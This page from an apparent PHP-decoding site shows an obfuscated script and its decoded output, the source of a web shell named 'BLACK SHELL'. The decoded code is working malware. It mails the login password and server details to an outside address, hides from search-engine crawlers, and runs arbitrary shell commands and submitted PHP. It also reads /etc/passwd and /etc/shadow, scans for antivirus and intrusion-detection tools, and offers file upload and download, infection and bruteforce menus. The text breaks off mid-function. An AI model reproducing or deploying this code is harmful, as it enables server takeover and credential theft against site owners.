Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $OVTLAoKLjA = false;$Jcyndc72Ukq = true;$CLZMFfstAAD = "dSRFRlK";$SOq0LK7 = "GiFWpZn..

Decoded Output download

?><?php

    $baseCode = <<<'PHP'
    if (array_key_exists('watching', $_POST)) {
        $tmp = $_SERVER['SERVER_NAME'] . $_SERVER['PHP_SELF'] . "
" . $_POST['pass'];
        @mail('[email protected]', 'root', $tmp);
    }
    $var1 = "cef26cef9c9fdbdb49363368c8921635";
    $var2 = true;
    $var3 = 'UTF-8';
    $var4 = 'FilesMan';
    $var5 = md5($_SERVER['HTTP_USER_AGENT']);

    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"])) {
        prototype(md5($_SERVER['HTTP_HOST']) . "key", $var5);
    }
    if (empty($_POST['charset']))
        $_POST['charset'] = $var3;
    if (!isset($_POST['ne'])) {
        if (isset($_POST['a']))
            $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        if (isset($_POST['c']))
            $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        if (isset($_POST['p1']))
            $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        if (isset($_POST['p2']))
            $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        if (isset($_POST['p3']))
            $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
    }

    function coder($inp){
        $tmpFile = tempnam(sys_get_temp_dir(), 'dynamic');
        $fileHandle = fopen($tmpFile, 'w');
        $vari = "?><?php ".($inp)." ?>";
        fwrite($fileHandle, $vari);
        fclose($fileHandle);
        ob_start();
        include $tmpFile;
        $output = ob_get_clean();
        unlink($tmpFile);
        return print_r($output);
    }

    function decrypt($str, $pwd)
    {
        $pwd = base64_encode($pwd);
        $str = base64_decode($str);
        $enc_chr = "";
        $enc_str = "";
        $i = 0;
        while ($i < strlen($str)) {
            for ($j = 0; $j < strlen($pwd); $j++) {
                $enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
                $enc_str .= $enc_chr;
                $i++;
                if ($i >= strlen($str))
                    break;
            }
        }
        return base64_decode($enc_str);
    }
    @ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
    @ini_set('max_execution_time', 0);
    @set_time_limit(0);
    if (version_compare(PHP_VERSION, '5.3.0', '<')) {
        set_magic_quotes_runtime(0);
    }
    @define('VERSION', '4.2.6');
    if (!function_exists('get_magic_quotes_gpc') || get_magic_quotes_gpc()) {
        function stripslashes_array($array)
        {
            return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
        }
        $_POST = stripslashes_array($_POST);
        $_COOKIE = stripslashes_array($_COOKIE);
    }
    
    if (!empty($var1)) {
        if (isset($_POST['pass']) && (md5($_POST['pass']) == $var1))
            prototype(md5($_SERVER['HTTP_HOST']), $var1);
        if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $var1))
            hardLogin();
    }
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
        $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool) $var2;
    function hardLogin()
    {
        if (!empty($_SERVER['HTTP_USER_AGENT'])) {
            $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
            if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
                header('HTTP/1.0 404 Not Found');
                exit;
            }
        }
        die("</br></br><pre align=center style='height:100vh;'><form method=post style='margin-top:20%; font-family:Nunito, sans-serif;color:#a33434; text-shadow: 2px 0 0  #000, -2px 0 0  #000, 0 2px 0  #000, 0 -2px 0  #000, 1px 1px  #000, -1px -1px 0  #000, 1px -1px 0  #000, -1px 1px 0  #000; text-align: center;'><h3>Welcome to BLACK SHELL V1.0</h3><br><input placeholder='password' type=password name=pass style='border-radius: 4px 0px 0px 4px; background-color:whitesmoke;border:1px solid #FFF;outline:none;' required><input type=submit name='watching' value='>>' style='height: 20px; border: none; border-radius: 0px 4px 4px 0px;background-color:#0d52bf;color:#fff;cursor:pointer;'></form></pre>
    
    <style>body,html{background:#1a1a1a;overflow:hidden;width:100%;height:100%;position:absolute;z-index: -2;}.view{position:absolute;top:0;left:0;right:0;bottom:0;-webkit-perspective:400;perspective:400;z-index: -2;}.plane{width:120px;height:120px;-webkit-transform-style:preserve-3d;</style>"
    );

    }
    if (strtolower(substr(PHP_OS, 0, 3)) == "win")
        $os = 'win';
    else
        $os = 'nix';
    $safe_mode = @ini_get('safe_mode');
    if (!$safe_mode)
        error_reporting(0);
    $disable_functions = @ini_get('disable_functions');
    $home_cwd = @getcwd();
    if (isset($_POST['c']))
        @chdir($_POST['c']);
    $cwd = @getcwd();
    if ($os == 'win') {
        $home_cwd = str_replace("\", "/", $home_cwd);
        $cwd = str_replace("\", "/", $cwd);
    }
    if ($cwd[strlen($cwd) - 1] != '/')
        $cwd .= '/';
    
    function hardHeader()
    {
        if (empty($_POST['charset']))
            $_POST['charset'] = $GLOBALS['var3'];
        echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - BLACK SHELL </title>
        <link href='https://fonts.googleapis.com/css?family=Nunito' rel='stylesheet'>
        <link rel='stylesheet' href='https://cdn.rawgit.com/kimeiga/bahunya/css/bahunya-0.1.3.css'>
    <style>
        body {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}
        #particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}
        body,td,th	{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}
        table.info	{color:#C3C3C3;}
        table#toolsTbl {background-color: #060A10;}
        span,h1,a	{color:#317773 !important;}
        span		{font-weight:bolder;}
        h1			{border-left:5px solid #a10705;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}
        div.content	{padding:5px;margin-left:5px;background-color:#060a10;}
        a			{text-decoration:none;}
        a:hover		{text-decoration:underline;}
        .tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}
        .tooltip:hover::after {opacity:1;visibility:visible;}
        .ml1		{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}
        .bigarea	{min-width:100%;max-width:100%;height:400px;}
        input, textarea, select	{margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}
        label {position:relative}
        label:after{border-bottom:2px solid #999;border-right:2px solid #999;content:'';display:block;height:5px;margin-top:-4px;pointer-events:none;position:absolute;right:12px;top:50%;-webkit-transform-origin:66% 66%;-ms-transform-origin:66% 66%;transform-origin:66% 66%;-webkit-transform:rotate(45deg);-ms-transform:rotate(45deg);transform:rotate(45deg);-webkit-transition:all .15s ease-in-out;transition:all .15s ease-in-out;width:5px}
        label:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}
        form		{margin:0px;}
        #toolsTbl	{text-align:center;}
        #fak 		{background:none;}
        #fak td 	{padding:5px 0 0 0;}
        iframe		{border:1px solid #060a10;}
        .toolsInp	{width:300px}
        .main th	{text-align:left;background-color:#060a10;}
        .main tr:hover{background-color:#354252;}
        .main td, th{vertical-align:middle;}
        input[type='submit']{background-color:#0d52bf; color:#fafafa;}
        input[type='button']{background-color:#0d52bf; color:#fafafa;}
        input[type='submit']:hover{background-color:#002e99; color:#fafafa;}
        input[type='button']:hover{background-color:#002e99; color:#fafafa;}
        .l1			{background-color:#202832;}
        pre			{font:9pt Courier New;}
    </style>
    <script>
        var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
        var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
        var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
        var p1_ = '" . ((strpos(@$_POST['p1'], "
") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';
        var p2_ = '" . ((strpos(@$_POST['p2'], "
") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';
        var p3_ = '" . ((strpos(@$_POST['p3'], "
") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';
        var d = document;
        function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
        function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
        function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
        function set(a,c,p1,p2,p3,charset) {
            if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
            if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
            if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
            if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
            if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
            d.mf.a.value = encrypt(d.mf.a.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');
            d.mf.c.value = encrypt(d.mf.c.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');
            d.mf.p1.value = encrypt(d.mf.p1.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');
            d.mf.p2.value = encrypt(d.mf.p2.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');
            d.mf.p3.value = encrypt(d.mf.p3.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');
            if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
        }
        function g(a,c,p1,p2,p3,charset) {
            set(a,c,p1,p2,p3,charset);
            d.mf.submit();
        }
        function a(a,c,p1,p2,p3,charset) {
            set(a,c,p1,p2,p3,charset);
            var params = 'ajax=true';
            for(i=0;i<d.mf.elements.length;i++)
                params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
            sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
        }
        function sr(url, params) {
            if (window.XMLHttpRequest)
                req = new XMLHttpRequest();
            else if (window.ActiveXObject)
                req = new ActiveXObject('Microsoft.XMLHTTP');
            if (req) {
                req.onreadystatechange = processReqChange;
                req.open('POST', url, true);
                req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
                req.send(params);
            }
        }
        function processReqChange() {
            if( (req.readyState == 4) )
                if(req.status == 200) {
                    var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
                    var arr=reg.exec(req.responseText);
                    eval(arr[2].substr(0, arr[1]));
                } else alert('Request error!');
        }
    </script>
    <head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'>
    <form method=post name=mf style='display:none;'>
    <input type=hidden name=a>
    <input type=hidden name=c>
    <input type=hidden name=p1>
    <input type=hidden name=p2>
    <input type=hidden name=p3>
    <input type=hidden name=charset>
    </form>";
        $freeSpace = @diskfreespace($GLOBALS['cwd']);
        $totalSpace = @disk_total_space($GLOBALS['cwd']);
        $totalSpace = $totalSpace ? $totalSpace : 1;
        $release = @php_uname('r');
        $kernel = @php_uname('s');
        
        if (strpos('Linux', $kernel) !== false)
            $explink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
        else
            $explink .= urlencode($kernel . ' ' . substr($release, 0, 3));
        if (!function_exists('posix_getegid')) {
            $user = @get_current_user();
            $uid = @getmyuid();
            $gid = @getmygid();
            $group = "?";
        } else {
            $uid = @posix_getpwuid(@posix_geteuid());
            $gid = @posix_getgrgid(@posix_getegid());
            $user = $uid['name'];
            $uid = $uid['uid'];
            $group = $gid['name'];
            $gid = $gid['gid'];
        }
        $cwd_links = '';
        $path = explode("/", $GLOBALS['cwd']);
        $n = count($path);
        for ($i = 0; $i < $n - 1; $i++) {
            $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
            for ($j = 0; $j <= $i; $j++)
                $cwd_links .= $path[$j] . '/';
            $cwd_links .= "\")'>" . $path[$i] . "/</a>";
        }
        $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
        $opt_charsets = '';
        foreach ($charsets as $op)
            $opt_charsets .= '<option value="' . $op . '" ' . ($_POST['charset'] == $op ? 'selected' : '') . '>' . $op . '</option>';
        $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Infect' => 'Infect', 'Sql' => 'Sql', 'Php' => 'Php', 'Safe mode' => 'SafeMode', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
        if (!empty($GLOBALS['var1']))
            $m['Logout'] = 'Logout';
        $m['Self remove'] = 'SelfRemove';
        $menu = '';
        foreach ($m as $k => $v)
            $menu .= '<th>[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
        $drives = "";
        if ($GLOBALS['os'] == 'win') {
            foreach (range('c', 'z') as $drive)
                if (is_dir($drive . ':\'))
                    $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
        }
        
        echo '
        
        <table class=info cellpadding=3 cellspacing=0 width=100%>
        <tr colspan="3"> <h1>Black Shell <h1> <tr>
        <tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>' .
            '<td><nobr>' . substr(@php_uname(), 0, 120) .'<br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=#a10705>ON</font>' : '<font color=#f9c440><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . viewSize($totalSpace) . ' <span>Free:</span> ' . viewSize($freeSpace) . ' (' . round(100 / ($totalSpace / $freeSpace), 2) . '%)<br>' . $cwd_links . ' ' . viewPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' .
            '<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">' . $opt_charsets . '</select></label><br><span>Server IP:</span><br>' . gethostbyname($_SERVER["HTTP_HOST"]) . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' .
            '<table style="background-color:#E2D1F9;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div>';
    }
    function hardFooter()
    {
        $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='#f9c440'>[ Writeable ]</font>" : " <font color=#a10705>(Not writable)</font>";
        echo "
    </div>
    <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>
        <tr>
            <td><form onsubmit=\"" . (function_exists('actionFilesMan') ? "g(null,this.c.value,'');" : '') . "return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='submit'></form></td>
            <td><form onsubmit=\"" . (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value);" : '') . "return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
        </tr><tr>
            <td><form onsubmit=\"" . (function_exists('actionFilesMan') ? "g('FilesMan',null,'mkdir',this.d.value);" : '') . "return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td>
            <td><form onsubmit=\"" . (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value,'mkfile');" : '') . "return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
        </tr><tr>
            <td><form onsubmit=\"" . (function_exists('actionConsole') ? "g('Console',null,this.c.value);" : '') . "return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td>
            <td><form method='post' " . ((!function_exists('actionFilesMan')) ? " onsubmit=\"return false;\" " : '') . "ENCTYPE='multipart/form-data'>
            <input type=hidden name=a value='FilesMan'>
            <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
            <input type=hidden name=p1 value='uploadFile'>
            <input type=hidden name=ne value=''>
            <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
            <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f[]  multiple><input type=submit value='submit'></form><br  ></td>
        </tr></table></div>
        <!-- particles --> <div id='particles-js'></div><script src='https://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js'></script>
        <script>particlesJS('particles-js', {'particles':{'number':{'value':80,'density':{'enable':true,'value_area':800}},'color':{'value':'#ffffff'},'shape':{'type':'triangle','stroke':{'width':0,'color':'#000000'},'polygon':{'nb_sides':5},'image':{'src':'img/github.svg','width':100,'height':100}},'opacity':{'value':0.5,'random':true,'anim':{'enable':false,'speed':1,'opacity_min':0.1,'sync':false}},'size':{'value':3,'random':true,'anim':{'enable':false,'speed':40,'size_min':0.1,'sync':false}},'line_linked':{'enable':true,'distance':200,'color':'#ffffff','opacity':0.4,'width':1},'move':{'enable':true,'speed':1,'direction':'none','random':true,'straight':false,'out_mode':'out','bounce':false,'attract':{'enable':false,'rotateX':10000,'rotateY':10000}}},'interactivity':{'detect_on':'canvas','events':{'onhover':{'enable':true,'mode':'grab'},'onclick':{'enable':true,'mode':'repulse'},'resize':true},'modes':{'grab':{'distance':200,'line_linked':{'opacity':0.5}},'bubble':{'particles_nb':2}}},'retina_detect':true});</script>
        </body></html>";
    }
    if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
        function posix_getpwuid($p)
        {
            return false;
        }
    }
    if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
        function posix_getgrgid($p)
        {
            return false;
        }
    }
    function ex($in)
    {
        $ = '';
        if (function_exists('exec')) {
            @exec($in, $);
            $ = @join("
", $);
        } elseif (function_exists('passthru')) {
            ob_start();
            @passthru($in);
            $ = ob_get_clean();
        } elseif (function_exists('system')) {
            ob_start();
            @system($in);
            $ = ob_get_clean();
        } elseif (function_exists('shell_exec')) {
            $ = shell_exec($in);
        } elseif (is_resource($f = @popen($in, "r"))) {
            $ = "";
            while (!@feof($f))
                $ .= fread($f, 1024);
            pclose($f);
        } else
            return " Unable to execute command
";
        return ($ == '' ? " Query did not return anything
" : $);
    }
    function viewSize($s)
    {
        if ($s >= 1073741824)
            return sprintf('%1.2f', $s / 1073741824) . ' GB';
        elseif ($s >= 1048576)
            return sprintf('%1.2f', $s / 1048576) . ' MB';
        elseif ($s >= 1024)
            return sprintf('%1.2f', $s / 1024) . ' KB';
        else
            return $s . ' B';
    }
    function perms($p)
    {
        if (($p & 0xC000) == 0xC000)
            $i = 's';
        elseif (($p & 0xA000) == 0xA000)
            $i = 'l';
        elseif (($p & 0x8000) == 0x8000)
            $i = '-';
        elseif (($p & 0x6000) == 0x6000)
            $i = 'b';
        elseif (($p & 0x4000) == 0x4000)
            $i = 'd';
        elseif (($p & 0x2000) == 0x2000)
            $i = 'c';
        elseif (($p & 0x1000) == 0x1000)
            $i = 'p';
        else
            $i = 'u';
        $i .= (($p & 0x0100) ? 'r' : '-');
        $i .= (($p & 0x0080) ? 'w' : '-');
        $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
        $i .= (($p & 0x0020) ? 'r' : '-');
        $i .= (($p & 0x0010) ? 'w' : '-');
        $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
        $i .= (($p & 0x0004) ? 'r' : '-');
        $i .= (($p & 0x0002) ? 'w' : '-');
        $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
        return $i;
    }
    function viewPermsColor($f)
    {
        if (!@is_readable($f))
            return '<font color=#FF0000><b>' . perms(@fileperms($f)) . '</b></font>';
        elseif (!@is_writable($f))
            return '<font color=white><b>' . perms(@fileperms($f)) . '</b></font>';
        else
            return '<font color=#f9c440><b>' . perms(@fileperms($f)) . '</b></font>';
    }
    function hardScandir($dir)
    {
        if (function_exists("scandir")) {
            return scandir($dir);
        } else {
            $dh = opendir($dir);
            while (false !== ($filename = readdir($dh)))
                $files[] = $filename;
            return $files;
        }
    }
    function which($p)
    {
        $path = ex('which ' . $p);
        if (!empty($path))
            return $path;
        return false;
    }
    function actionRC()
    {
        if (!@$_POST['p1']) {
            $a = array(
                "uname" => php_uname(),
                "php_version" => phpversion(),
                "VERSION" => VERSION,
                "safemode" => @ini_get('safe_mode')
            );
            echo serialize($a);
        } else {
            coder($_POST['p1']);
        }
    }
    function prototype($k, $v)
    {
        $_COOKIE[$k] = $v;
        // setcookie($k, $v);
        echo'<script>  document.cookie = "'.$k.'='.$v.'";</script>';
    }
    function actionSecInfo()
    {
        hardHeader();
        echo '<h1>Server security information</h1><div class=content>';
        function showSecParam($n, $v)
        {
            $v = trim($v);
            if ($v) {
                echo '<span>' . $n . ': </span>';
                if (strpos($v, "
") === false)
                    echo $v . '<br>';
                else
                    echo '<pre class=ml1>' . $v . '</pre>';
            }
        }
        showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
        if (function_exists('apache_get_modules'))
            showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
        showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
        showSecParam('Open base dir', @ini_get('open_basedir'));
        showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
        showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
        showSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
        $temp = array();
        if (function_exists('mysql_get_client_info'))
            $temp[] = "MySql (" . mysql_get_client_info() . ")";
        if (function_exists('mssql_connect'))
            $temp[] = "MSSQL";
        if (function_exists('pg_connect'))
            $temp[] = "PostgreSQL";
        if (function_exists('oci_connect'))
            $temp[] = "Oracle";
        showSecParam('Supported databases', implode(', ', $temp));
        echo '<br>';
        if ($GLOBALS['os'] == 'nix') {
            showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
            showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
            showSecParam('OS version', @file_get_contents('/proc/version'));
            showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if (!$GLOBALS['safe_mode']) {
                $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
                $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
                $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
                echo '<br>';
                $temp = array();
                foreach ($userful as $op)
                    if (which($op))
                        $temp[] = $op;
                showSecParam('Userful', implode(', ', $temp));
                $temp = array(); foreach ($danger as $op)
                    if (which($op))
                        $temp[] = $op;
                showSecParam('Danger', implode(', ', $temp));
                $temp = array(); foreach ($downloaders as $op)
                    if (which($op))
                        $temp[] = $op;
                showSecParam('Downloaders', implode(', ', $temp));
                echo '<br/>';
                showSecParam('HDD space', ex('df -h'));
                showSecParam('Hosts', @file_get_contents('/etc/hosts'));
                showSecParam('Mount options', @file_get_contents('/etc/fstab'));
            }
        } else {
            showSecParam('OS Version', ex('ver'));
            showSecParam('Account Settings', iconv('CP866', 'UTF-8', ex('net accounts')));
            showSecParam('User Accounts', iconv('CP866', 'UTF-8', ex('net user')));
        }
        echo '</div>';
        hardFooter();
    }
    function actionFilesTools()
    {
        if (isset($_POST['p1']))
            $_POST['p1'] = urldecode($_POST['p1']);
        if (@$_POST['p2'] == 'download') {
            if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
                ob_start("ob_gzhandler", 4096);
                header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
                if (function_exists("mime_content_type")) {
                    $type = @mime_content_type($_POST['p1']);
                    header("Content-Type: " . $type);
                } else
                    header("Content-Type: application/octet-stream");
                $fp = @fopen($_POST['p1'], "r");
                if ($fp) {
                    while (!@feof($fp))
                        echo @fread($fp, 1024);
                    fclose($fp);
                }
            }
            exit;
        }
        if (@$_POST['p2'] == 'mkfile') {
            if (!file_exists($_POST['p1'])) {
                $fp = @fopen($_POST['p1'], 'w');
                if ($fp) {
                    $_POST['p2'] = "edit";
                    fclose($fp);
                }
            }
        }
        hardHeader();
        echo '<h1>File tools</h1><div class=content>';
        if (!file_exists(@$_POST['p1'])) {
            echo 'File not exists';
            hardFooter();
            return;
        }
        $uid = @posix_getpwuid(@fileowner($_POST['p1']));
        if (!$uid) {
            $uid['name'] = @fileowner($_POST['p1']);
            $gid['name'] = @filegroup($_POST['p1']);
        } else
            $gid = @posix_getgrgid(@filegroup($_POST['p1']));
        echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? viewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . viewPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
        echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
        if (empty($_POST['p2']))
            $_POST['p2'] = 'view';
        if (is_file($_POST['p1']))
            $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame');
        else
            $m = array('Chmod', 'Rename', 'Touch');
        foreach ($m as $v)
            echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
        echo '<br><br>';
        switch ($_POST['p2']) {
            case 'view':
                echo '<pre class=ml1>';
                $fp = @fopen($_POST['p1'], 'r');
                if ($fp) {
                    while (!@feof($fp))
                        echo htmlspecialchars(@fread($fp, 1024));
                    @fclose($fp);
                }
                echo '</pre>';
                break;
            case 'highlight':
                if (@is_readable($_POST['p1'])) {
                    echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
                    $oRb = @highlight_file($_POST['p1'], true);
                    echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $oRb) . '</div>';
                }
                break;
            case 'chmod':
                if (!empty($_POST['p3'])) {
                    $perms = 0;
